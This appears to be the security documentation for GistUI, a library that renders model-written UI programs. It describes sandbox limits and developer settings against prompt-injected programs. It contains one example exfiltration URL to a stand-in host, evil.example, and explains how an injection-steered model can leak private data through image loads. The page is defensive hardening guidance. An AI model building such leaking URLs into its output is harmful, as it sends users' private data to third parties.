A GistUI program is untrusted input. A model wrote it, and the model may have been steered by content it read: a web page, an email, a document. Treat a program the way a browser treats a web page from a stranger.
What a program cannot do
| Run code | Expressions are interpreted by a small evaluator. Nothing is compiled or passed to eval or new Function, so a strict Content-Security-Policy works. |
| Insert HTML | Strings are text. Markdown is rendered without raw HTML. |
| Change anything by being shown | Rendering calls only read-only tools. mutations run only on a button press. |
| Open arbitrary URL schemes | @open and links allow http, https, mailto and tel only. |
| Run without bound | Nesting, node counts, loop sizes, evaluation steps, timers and tool calls all have limits. |
What you must configure
Keep read and write apart
Put a function under tools only if calling it changes nothing. A query may run the moment the UI renders, with arguments the program chose. Anything with a side effect goes under mutations. See Tools and live data.
Limit where media loads from
An image URL can carry data to another server without a click: https://evil.example/p.png?d=<your data>. When the model sees private data, set allowedHosts.
<GistUI allowedHosts={["cdn.example.com", "*.example.com"]} />allowedHosts |
A URL the program wrote out | A URL the program assembled from data |
|---|---|---|
| not set | loads from any host | not loaded |
| set | loads only from listed hosts | loads only from listed hosts |
Relative URLs and your own host always load. A refused URL is reported as blocked-url.
Favicons
Source cards can show site icons. It is off by default, because each icon is a request to a third-party service for every cited site. favicons={true} uses a public service; a string is your own URL with {host}.
Check tool calls
onToolCall(call) runs before every tool call with { name, args, kind, nodeId }. Return false to block it. Use it to log, to validate arguments, or to ask the person first.
Validate on the server
A form’s values were validated in the browser. Validate them again on your server with the schema that comes with the submit. See Actions and forms.
Mark messages that come from the UI
When a button’s text goes back to the model as the next message, the model should know a program chose that text, not the person. @gistui/chat wraps such messages (origin: "ui"). If you build the loop yourself, do the same.
Tokens are trusted
tokens and darkTokens are inserted into CSS. Build them from your own code only, never from model output or user input.
API keys
Call models from your server. The chat adapters accept an apiKey for local prototypes and warn in the console when one is used in a browser.
Reporting a vulnerability
Please report security problems privately through the repository’s security advisories, not in a public issue.
The normative version of these rules is section 23 of the format specification: see Protocol: the format.